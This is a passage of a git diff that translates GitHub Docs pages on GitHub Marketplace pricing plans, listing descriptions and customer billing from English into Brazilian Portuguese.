-Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)."
+Depois de publicar um plano de preços para um aplicativo que já está listado em {% data variables.product.prodname_marketplace %}, você não poderá fazer alterações no plano. Em vez disso, você precisará remover o plano de preços e criar um novo plano. Os clientes que já compraram o plano de preços removido continuarão a usá-lo até que optem por sair o plano e passar para um novo plano de preços. Para obter mais informações sobre os planos de preços, consulte[ planos de preços do {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/github-marketplace-pricing-plans/)".
 
-Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription.
+Depois de remover um plano de preços, os usuários não poderão comprar seu aplicativo que usa esse plano. Os usuários existentes no plano de preços removido continuarão no plano até que cancelem sua assinatura do plano.
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %} can't remove users from a removed pricing plan. You can run a campaign to encourage users to upgrade or downgrade from the removed pricing plan onto a new pricing plan.
+**Observação:** {% data variables.product.product_name %} não pode remover usuários de um plano de preços removido. Você pode realizar uma campanha para incentivar os usuários a atualizar ou fazer downgrade do plano de preços removido para um novo plano de preços.
 
 {% endnote %}
 
-You can disable GitHub Marketplace free trials without retiring the pricing plan, but this prevents you from initiating future free trials for that plan. If you choose to disable free trials for a pricing plan, users already signed up can complete their free trial.
+Você pode desativar os testes grátis do GitHub Marketplace sem remover o plano de preços, mas isso impede que você inicie futuros testes grátis para esse plano. Se você optar por desativar os testes grátis para um plano de preços, os usuários já inscritos poderão concluir o seu teste gratuito.
 
-After retiring a pricing plan, you can create a new pricing plan with the same name as the removed pricing plan. For instance, if you have a "Pro" pricing plan but need to change the flat rate price, you can remove the "Pro" pricing plan and create a new "Pro" pricing plan with an updated price. Users will be able to purchase the new pricing plan immediately.
+Depois de remover um plano de preços, você poderá criar um novo plano com o mesmo nome do plano de preços removido. Por exemplo, se você tem um plano de preços "Pro", mas precisa alterar o preço fixo, você poderá remover o plano de preços "Pro" e criar um novo plano de preços "Pro" com um preço atualizado. Os usuários poderão comprar o novo plano de preços imediatamente.
 
-If you are not a verified publisher, then you cannot change a pricing plan for your app. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+Se você não for um editor verificado, você não poderá alterar um plano de preços para o seu aplicativo. Para obter mais informações sobre como se tornar um editor verificado, consulte "[Candidatar-se à verificação de publicador para a sua organização](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)".
diff --git a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
index 0fc3e55f1b..14c01b80b1 100644
--- a/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
+++ b/translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Writing a listing description for your app
-intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.'
+title: Escrever uma descrição da listagem para o seu aplicativo
+intro: 'Para [listar seu aplicativo](/marketplace/listing-on-github-marketplace/) no {% data variables.product.prodname_marketplace %}, você precisará escrever as descrições do seu aplicativo e fornecer imagens que seguem as diretrizes do GitHub.'
 redirect_from:
   - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions
   - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions
@@ -16,181 +16,183 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Write listing descriptions
+shortTitle: Escrever descrições de anúncio
 ---
-Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing.
 
-## Naming and links
+Aqui estão as diretrizes sobre os campos que você precisará preencher na seção de **Descrição da listagem** do seu rascunho da listagem.
 
-### Listing name
+## Nomenclatura e links
 
-Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.product.product_location %}, unless the name is your own user or organization name. 
+### Nome da listagem
 
-### Very short description
+O nome do seu anúncio irá aparecer na [página inicial de {% data variables.product.prodname_marketplace %}](https://github.com/marketplace). O nome é limitado a 255 caracteres e pode ser diferente do nome do seu aplicativo. Seu anúncio não pode ter o mesmo nome de uma conta existente em {% data variables.product.product_location %}, a menos que o nome seja o seu próprio usuário ou nome de organização.
 
-The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace).
+### Descrição muito curta
 
-![{% data variables.product.prodname_marketplace %} app short description](/assets/images/marketplace/marketplace_short_description.png)
+A comunidade verá a descrição "muito curta" sob o nome de seu aplicativo [na página inicial do {% data variables.product.prodname_marketplace %}](https://github.com/marketplace).
 
-#### Length
+![Descrição curta do aplicativo em {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_short_description.png)
 
-We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly.
+#### Comprimento
 
-#### Content
+Recomendamos manter descrições curtas para com 40 a 80 caracteres. Embora você possa usar mais caracteres, as descrições concisas são mais fáceis para os clientes ler e entender rapidamente.
 
-- Describe the app’s functionality. Don't use this space for a call to action. For example:
+#### Conteúdo
 
-  **DO:** Lightweight project management for GitHub issues
+- Descreva as funcionalidades do aplicativo. Não use este espaço para uma chamada para ação. Por exemplo:
 
-  **DON'T:** Manage your projects and issues on GitHub
+  **RECOMENDADO:** Gerenciamento de projeto leve para problemas do GitHub
 
-  **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on GitHub_
+  **NÃO RECOMENDADO:** Gerencie seus projetos e problemas no GitHub
 
-- Don’t repeat the app’s name in the description.
+  **Dica:** Adicione um "s" ao final do verbo em uma chamada para ação para transformá-lo em uma descrição aceitável: _Gerencia seus projetos e problemas no GitHub_
 
-  **DO:** A container-native continuous integration tool
+- Não repita o nome do aplicativo na descrição.
 
-  **DON'T:** Skycap is a container-native continuous integration tool
+  **RECOMENDADO:** Uma ferramenta de integração contínua nativa para o contêiner
 
-#### Formatting
+  **NÃO RECOMENDADO:** O Skycap é uma ferramenta de integração contínua nativa do contêiner
 
-- Always use sentence-case capitalization. Only capitalize the first letter and proper nouns.
+#### Formatação
 
-- Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence.
+- Use sempre letras maiúsculas na frase. Use maiúscula somente para a primeira letra e para substantivos próprios.
 
-- Only capitalize proper nouns. For example:
+- Não use pontuação no final da sua descrição curta. As descrições curtas não devem incluir frases completas e definitivamente não devem incluir mais de uma frase.
 
-  **DO:** One-click delivery automation for web developers
+- Use maiúscula apenas para os substantivos próprios. Por exemplo:
 
-  **DON'T:** One-click delivery automation for Web Developers
+  **RECOMENDADO:** Automação de entrega com um clique para desenvolvedores web
 
-- Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  **NÃO RECOMENDADO:** Automação de entrega com um clique para desenvolvedores web
 
-- Avoid referring to the GitHub community as "users."
+- Sempre use uma [vírgula de série](https://en.wikipedia.org/wiki/Serial_comma) nas listas.
 
-  **DO:** Create issues automatically for people in your organization
+- Evite referir-se à comunidade do GitHub como "usuários".
 
-  **DON'T:** Create issues automatically for an organization's users
+  **RECOMENDADO:** Crie problemas automaticamente para pessoas da sua organização
 
-- Avoid acronyms unless they’re well established (such as API). For example:
+  **NÃO RECOMENDADO:** Crie problemas automaticamente para usuários de uma organização
 
-  **DO:** Agile task boards, estimates, and reports without leaving GitHub
+- Evite acrônimos, a menos que estejam conhecidos (como, por exemplo, API). Por exemplo:
 
-  **DON'T:** Agile task boards, estimates, and reports without leaving GitHub’s UI
+  **RECOMENDADO:** Quadros de tarefas ágeis, estimativas e relatórios sem sair do GitHub
 
-### Categories
+  **NÃO RECOMENDADO:** Quadros de tarefas ágeis, estimativas e relatórios sem sair da interface de usuário do GitHub
 
-Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app.
+### Categorias
 
-### Supported languages
+Os aplicativos em {% data variables.product.prodname_marketplace %} podem ser exibidos por categoria. Selecione a categoria que melhor descreve a principal funcionalidade do seu aplicativo no menu suspenso **categoria primária**, e opcionalmente, selecione uma **categoria secundária** que se encaixa no seu aplicativo.
 
-If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional.
+### Linguagens compatíveis
 
-### Listing URLs
+Se o seu aplicativo só funciona com idiomas específicos, selecione até 10 linguagens de programação com as quais o seu aplicativo é compatível. Esses idiomas são exibidos na página de listagem do {% data variables.product.prodname_marketplace %} do seu aplicativo. Este campo é opcional.
 
-**Required URLs**
-* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries.
-* **Privacy policy URL:** The web page that displays your app's privacy policy.
-* **Installation URL:** This field is shown for OAuth Apps only. (GitHub Apps don't use this URL because they use the optional Setup URL from the GitHub App's settings page instead.) When a customer purchases your OAuth App, GitHub will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See "[New purchases for OAuth Apps](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for more details. Skip this field if you're listing a GitHub App.
+### Listar URLs
 
-**Optional URLs**
-* **Company URL:** A link to your company's website.
-* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance.
-* **Documentation URL:** A link to documentation that teaches customers how to use your app.
+**URLs obrigatórias**
+* **URL de suporte ao cliente:** A URL de uma página da web para a qual seus clientes acessarão quando tiverem dúvidas referente ao suporte técnico, produtos ou conta.
+* **URL da política de privacidade:** A página da web que exibe a política de privacidade do seu aplicativo.
+* **URL de instalação:** Este campo é exibido somente para os aplicativos OAuth. (Os aplicativos GitHub não usam esta URL porque usam a URL de configuração opcional em sua página de configurações.) Quando um cliente compra seu aplicativo OAuth, o GitHub irá redirecionar os clientes para a URL de instalação após instalarem o aplicativo. Você deverá redirecionar os clientes para `https://github.com/login/oauth/authorize` para iniciar o fluxo de autorização do OAuth. Consulte "[Novas compras para os aplicativos OAuth](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" para obter mais informações. Ignore este campo se você estiver listando um aplicativo GitHub.
 
-## Logo and feature card
+**URLs opcionais**
+* **URL da empresa:** Um link para o site da sua empresa.
+* **URL de status:** Um link para uma página da web que exibe o status do seu aplicativo. As páginas de status podem incluir relatórios de incidente atuais e em forma de histórico, status do tempo de atividade do aplicativo, bem como manutenção programada.
+* **URL da documentação:** Um link para a documentação que ensina os clientes a usar seu aplicativo.
 
-{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps.
+## Logotipo e cartão de recurso
 
-![GitHub Marketplace logo and badge images](/assets/images/marketplace/marketplace-logo-and-badge.png)
+{% data variables.product.prodname_marketplace %} exibe todas as listagens com um logotipo quadrado dentro de um selo circular para distinguir visualmente os aplicativos.
 
-A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card.
+![Imagens e logotipo do GitHub Marketplace](/assets/images/marketplace/marketplace-logo-and-badge.png)
 
-![Feature card](/assets/images/marketplace/marketplace_feature_card.png)
+Um cartão de recursos consiste do logotipo, nome e uma imagem de fundo personalizada do seu aplicativo que capta a personalidade da sua marca. {% data variables.product.prodname_marketplace %} exibe este cartão se seu aplicativo for um dos quatro aplicativos destacado aleatoriamente na parte superior da [página inicial](https://github.com/marketplace). A descrição muito curta de cada aplicativo é exibida abaixo de seu cartão de recursos.
 
-As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card.
+![Cartão de recurso](/assets/images/marketplace/marketplace_feature_card.png)
 
-#### Guidelines for logos
+À medida que você faz o upload das imagens e seleciona as cores, sua listagem de rascunho do {% data variables.product.prodname_marketplace %} exibirá uma prévia do seu logotipo e do seu cartão de recurso.
 
-You must upload a custom image for the logo. For the badge, choose a background color.
+#### Diretrizes para logotipos
 
-- Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published.
-- Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center.
-- For best results, upload a logo image with a transparent background.
-- To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image.
-- Avoid using logo images with words or text in them. Logos with text do not scale well on small screens.
+Você deve enviar uma imagem personalizada para o logotipo. Escolha uma cor de fundo para o selo.
 
-#### Guidelines for feature cards
+- Faça upload de uma imagem do logotipo com, pelo menos, 200 pixels x 200 pixels para que seu logotipo não tenha que ser dimensionado quando a sua listagem for publicada.
+- Os logotipos serão cortados em um quadrado. Recomendamos fazer o upload de um arquivo de imagem quadrada com seu logotipo no centro.
+- Para obter o melhor resultado, faça o upload de uma imagem de logotipo com um fundo transparente.
+- Para dar a aparência de um selo perfeito, escolha uma cor de fundo para o selo que corresponda à cor de fundo (ou transparência) da imagem do seu logotipo.
+- Evite usar imagens do logotipo com palavras ou texto. Os logotipos com texto não são bem dimensionados em telas pequenas.
 
-You must upload a custom background image for the feature card. For the app's name, choose a text color.
+#### Diretrizes para cartões de recurso
 
-- Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality.
-- Background image measures 965 pixels x 482 pixels (width x height).
-- Choose a text color for your app's name that shows up clearly over the background image.
+Você deve enviar uma imagem de fundo personalizada para o cartão de recurso. Para o nome do aplicativo, escolha uma cor do texto.
 
-## Listing details
+- Use um padrão ou textura na sua imagem de fundo para dar ao seu cartão uma identidade visual e ajudá-lo a destacar-se com relação ao fundo escuro da página inicial do {% data variables.product.prodname_marketplace %}. Os cartões de recursos devem capturar a personalidade da sua marca.
+- A iImagem de fundo mede 965 pixels x 482 pixels (largura x altura).
+- Escolha uma cor de texto para o nome do aplicativo que aparece claramente sobre a imagem de fundo.
 
-To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description."
+## Detalhes da listagem
 
-Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page.
+Para acessar a página inicial do seu aplicativo, clique no nome do aplicativo na página inicial ou na página de categoria do {% data variables.product.prodname_marketplace %}. A página de destino exibe uma descrição mais longa do aplicativo, que inclui duas partes: uma "Descrição introdutória" e uma "Descrição detalhada".
 
-![{% data variables.product.prodname_marketplace %} introductory description](/assets/images/marketplace/marketplace_intro_description.png)
+A sua "Descrição introdutória" é exibida no topo da página inicial {% data variables.product.prodname_marketplace %} do seu aplicativo.
 
-Clicking **Read more...**, displays the "Detailed description."
+![Descrição introdutória do {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_intro_description.png)
 
-![{% data variables.product.prodname_marketplace %} detailed description](/assets/images/marketplace/marketplace_detailed_description.png)
+Clicar em **Ler mais...**, exibirá a "Descrição detalhada".
 
-Follow these guidelines for writing these descriptions.
+![Descrição detalhada do {% data variables.product.prodname_marketplace %}](/assets/images/marketplace/marketplace_detailed_description.png)
 
-### Length
+Siga estas instruções para escrever estas descrições.
 
-We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required "Introductory description" field when [listing your app](/marketplace/listing-on-github-marketplace/). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly.
+### Comprimento
 
-You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description.
+Recomendamos escrever um resumo de alto nível de 1 a 2 frases com 150 a 250 caracteres no campo obrigatório de "Descrição introdutória" ao [listar o seu aplicativo](/marketplace/listing-on-github-marketplace/). Embora seja permitido o uso de mais caracteres, os resumos concisos são mais fáceis de ler e entender pelos clientes rapidamente.
 
-### Content
+Você pode adicionar mais informações ao campo opcional "Descrição detalhada". Você verá esta descrição ao clicar em **Leia mais...**, abaixo da descrição introdutória na página inicial do seu aplicativo. Uma descrição detalhada consiste de 3 a 5 [propostas de valor](https://en.wikipedia.org/wiki/Value_proposition), com 1 a 2 frases que descrevem cada uma. Você pode usar até 1.000 caracteres para essa descrição.
 
-- Always begin introductory descriptions with your app's name.
+### Conteúdo
 
-- Always write descriptions and value propositions using the active voice.
+- Sempre comece descrições introdutórias com o nome do seu aplicativo.
 
-### Formatting
+- Sempre escreva as descrições e as propostas de valores usando a voz ativa.
 
-- Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns.
+### Formatação
 
-- Use periods in your descriptions. Avoid exclamation marks.
+- Sempre use as letras maiúsculas adequadamente nas frases dos títulos para as propostas de valor. Use maiúscula somente para a primeira letra e para substantivos próprios.
 
-- Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence.
+- Use pontos nas suas descrições. Evite pontos de exclamação.
 
-- For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/articles/basic-writing-and-formatting-syntax/#headings) using Markdown. For example:
+- Não use pontuação no final dos títulos da sua proposição de valor. Títulos de proposição de valor não devem incluir frases completas,e não devem incluir mais de uma frase.
 
-  ### Learn the skills you need
+- Para cada proposta de valor, inclua um título seguido de um parágrafo de descrição. Forme o título como um [cabeçalho de nível 3](/articles/basic-writing-and-formatting-syntax/#headings) usando Markdown. Por exemplo:
 
-  GitHub Learning Lab can help you learn how to use GitHub, communicate more effectively with Markdown, handle merge conflicts, and more.
 
-- Only capitalize proper nouns.
+  ### Aprenda as habilidades de que você precisa
 
-- Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  O GitHub Learning Lab pode ajudá-lo a aprender como usar o GitHub, comunicar-se de modo mais efetivo com o Markdown, gerenciar conflitos de merge, entre outros.
 
-- Avoid referring to the GitHub community as "users."
+- Use maiúscula apenas para os substantivos próprios.
 
-  **DO:** Create issues automatically for people in your organization
+- Use sempre a [vírgula em série](https://en.wikipedia.org/wiki/Serial_comma) nas listas.
 
-  **DON'T:** Create issues automatically for an organization's users
+- Evite referir-se à comunidade do GitHub como "usuários".
 
-- Avoid acronyms unless they’re well established (such as API).
+  **RECOMENDADO:** Crie problemas automaticamente para pessoas da sua organização
 
-## Product screenshots
+  **NÃO RECOMENDADO:** Crie problemas automaticamente para usuários de uma organização
 
-You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page.
+- Evite acrônimos, a menos que estejam conhecidos (como, por exemplo, API).
 
-### Guidelines for screenshots
+## Capturas de tela dos produtos
 
-- Images must be of high resolution (at least 1200px wide).
-- All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next.
-- Show as much of the user interface as possible so people can see what your app does.
-- When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes.
-- GitHub displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots.
-- Captions are most effective when they are short and snappy.
+Você pode enviar até cinco imagens de captura de tela do seu aplicativo para ser exibidas na página inicial do seu aplicativo. Adicione uma legenda opcional para cada captura de tela para fornecer contexto. Após enviar suas capturas de tela, você pode arrastá-las para a ordem que você deseja que sejam exibidas na página inicial.
 
-![GitHub Marketplace screenshot image](/assets/images/marketplace/marketplace-screenshots.png)
+### Diretrizes para capturas de tela
+
+- As imagens devem ser de alta resolução (pelo menos 1200 px de largura).
+- Todas as imagens devem ter a mesma altura e largura (proporção de aspecto) para evitar pular páginas quando as pessoas clicam de uma imagem para a seguinte.
+- Mostre a maior quantidade possível de interface de usuário para que as pessoas possam ver o que seu aplicativo faz.
+- Ao capturar telas do seu app em um navegador, inclua apenas o conteúdo na janela de exibição. Evite incluir a barra de endereço, barra de título ou ícones da barra de ferramentas, que não são bem dimensionados para tamanhos de tela menores.
+- O GitHub exibe as capturas de tela das quais você fizer o upload em uma caixa na página inicial do seu aplicativo. Portanto, você não precisa adicionar caixas ou bordas ao redor de suas capturas de tela.
+- As legendas são mais eficazes quando são curtas e ágeis.
+
+![Imagem de captura de tela do GitHub Marketplace](/assets/images/marketplace/marketplace-screenshots.png)
diff --git a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
index e7cd6e457d..d33164feb3 100644
--- a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
+++ b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
@@ -1,6 +1,6 @@
 ---
-title: Billing customers
-intro: 'Apps on {% data variables.product.prodname_marketplace %} should adhere to GitHub''s billing guidelines and support recommended services. Following our guidelines helps customers navigate the billing process without any surprises.'
+title: Cobrar dos clientes
+intro: 'Os aplicativos no {% data variables.product.prodname_marketplace %} devem aderir às diretrizes de cobrança do GitHub e oferecer suporte aos serviços recomendados. A observância das nossas diretrizes ajuda os clientes a percorrer o processo de cobrança sem nenhuma surpresa.'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace
   - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace
@@ -12,38 +12,39 @@ versions:
 topics:
   - Marketplace
 ---
-## Understanding the billing cycle
 
-Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)."
+## Entender o ciclo de cobrança
 
-## Providing billing services in your app's UI
+Os clientes podem escolher um ciclo de cobrança mensal ou anual quando ao comprar seu aplicativo. Todas as alterações que os clientes fazem no ciclo de cobrança e seleção de plano acionará um evento de `marketplace_purchase`. Você pode fazer referência à carga do webhook `marketplace_purchase` para ver qual ciclo de cobrança um cliente seleciona e quando começa a próxima data de cobrança (`effective_date`). Para obter mais informações sobre cargas de webhook, consulte "[eventos de Webhook para a API de {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)".
 
-Customers should be able to perform the following actions from your app's website:
-- Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately.
+## Fornecer serviços de cobrança na interface de usuário do seu aplicativo
+
+Os clientes devem ser capazes de executar as seguintes ações no site do seu aplicativo:
+- Os clientes devem ser capazes de modificar ou cancelar seus planos de {% data variables.product.prodname_marketplace %} para contas pessoais e organizacionais separadamente.
 {% data reusables.marketplace.marketplace-billing-ui-requirements %}
 
-## Billing services for upgrades, downgrades, and cancellations
+## Os serviços de cobrança para upgrade, downgrade e cancelamentos
 
-Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+Siga estas diretrizes para upgrades, downgrade e cancelamentos para manter um processo de cobrança claro e consistente. Para obter instruções mais detalhadas sobre os eventos de compra de {% data variables.product.prodname_marketplace %}, consulte "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan).
+Você pode usar a chave do `marketplace_purchase` do webhook `effective_date` para determinar quando a mudança de um plano irá ocorrer e sincronizar periodicamente as [Lista de contas para um plano](/rest/reference/apps#list-accounts-for-a-plan).
 
-### Upgrades
+### Atualizações
 
-When a customer upgrades their pricing plan or changes their billing cycle from monthly to yearly, you should make the change effective for them immediately. You need to apply a pro-rated discount to the new plan and change the billing cycle.
+Quando um cliente atualiza seu plano de preços ou altera seu ciclo de cobrança de mensal para anual, você deve implementar mudança imediatamente para este cliente. Você precisa aplicar um desconto proporcional ao novo plano e alterar o ciclo de cobrança.
 
 {% data reusables.marketplace.marketplace-failed-purchase-event %}
 
-For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)."
+Para obter informações sobre a criação fluxos de trabalho de atualização e downgrade no seu aplicativo, consulte "[Gerenciando alterações do plano](/developers/github-marketplace/handling-plan-changes)".
 
-### Downgrades and cancellations
+### Downgrades e cancelamentos
 
-Downgrades occur when a customer moves to a free plan from a paid plan, selects a plan with a lower cost than their current plan, or changes their billing cycle from yearly to monthly. When downgrades or cancellations occur, you don't need to provide a refund. Instead, the current plan will remain active until the last day of the current billing cycle. The `marketplace_purchase` event will be sent when the new plan takes effect at the beginning of the customer's next billing cycle.
+Os downgrades ocorrem quando um cliente muda de um plano pago para um plano gratuito, seleciona um plano com um custo menor que o seu plano atual, ou muda seu ciclo de cobrança de anual para mensal. Quando ocorre o downgrade ou cancelamento, você não precisa fornecer um reembolso. Em vez disso, o plano atual permanecerá ativo até o último dia do ciclo de cobrança atual. O evento `marketplace_purchase` será enviado quando o novo plano entrar em vigor no início do próximo ciclo de cobrança do cliente.
+
+Quando um cliente cancela um plano, você deve:
+- Fazer o downgrade automaticamente para o plano grátis, caso exista.
 
-When a customer cancels a plan, you must:
-- Automatically downgrade them to the free plan, if it exists.
-  
   {% data reusables.marketplace.cancellation-clarification %}
-- Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time.
+- Habilitá-los para atualizar o plano por meio do GitHub, caso desejem continuar o plano mais adiante.
 
-For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)."
+Para obter informações sobre a construção de fluxos de trabalho de cancelamento no seu aplicativo, consulte "[Manipulação de cancelamento de plano](/developers/github-marketplace/handling-plan-cancellations)".
diff --git a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
index b8325be8fc..6977c015dd 100644
--- a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
+++ b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Selling your app on GitHub Marketplace
-intro: 'Learn about requirements and best practices for selling your app on {% data variables.product.prodname_marketplace %}.'
+title: Vender seu aplicativo no GitHub Marketplace
+intro: 'Saiba mais sobre requisitos e práticas recomendadas para vender seu aplicativo no {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing
@@ -17,6 +17,6 @@ children:
   - /pricing-plans-for-github-marketplace-apps
   - /billing-customers
   - /receiving-payment-for-app-purchases
-shortTitle: Sell apps on the Marketplace
+shortTitle: Venda aplicativos no Marketplace
 ---
 
diff --git a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
index 98d5bcce1c..0ab81649c7 100644
--- a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
+++ b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Pricing plans for GitHub Marketplace apps
-intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.'
+title: Planos de preços para aplicativos do GitHub Marketplace
+intro: 'Os planos de preços permitem que você forneça ao seu aplicativo diferentes níveis de serviço ou recursos. Você pode oferecer até 10 planos de preços na sua listagem do {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans
   - /marketplace/selling-your-app/github-marketplace-pricing-plans
@@ -10,50 +10,51 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Pricing plans for apps
+shortTitle: Preços de planos para os aplicativos
 ---
-{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
 
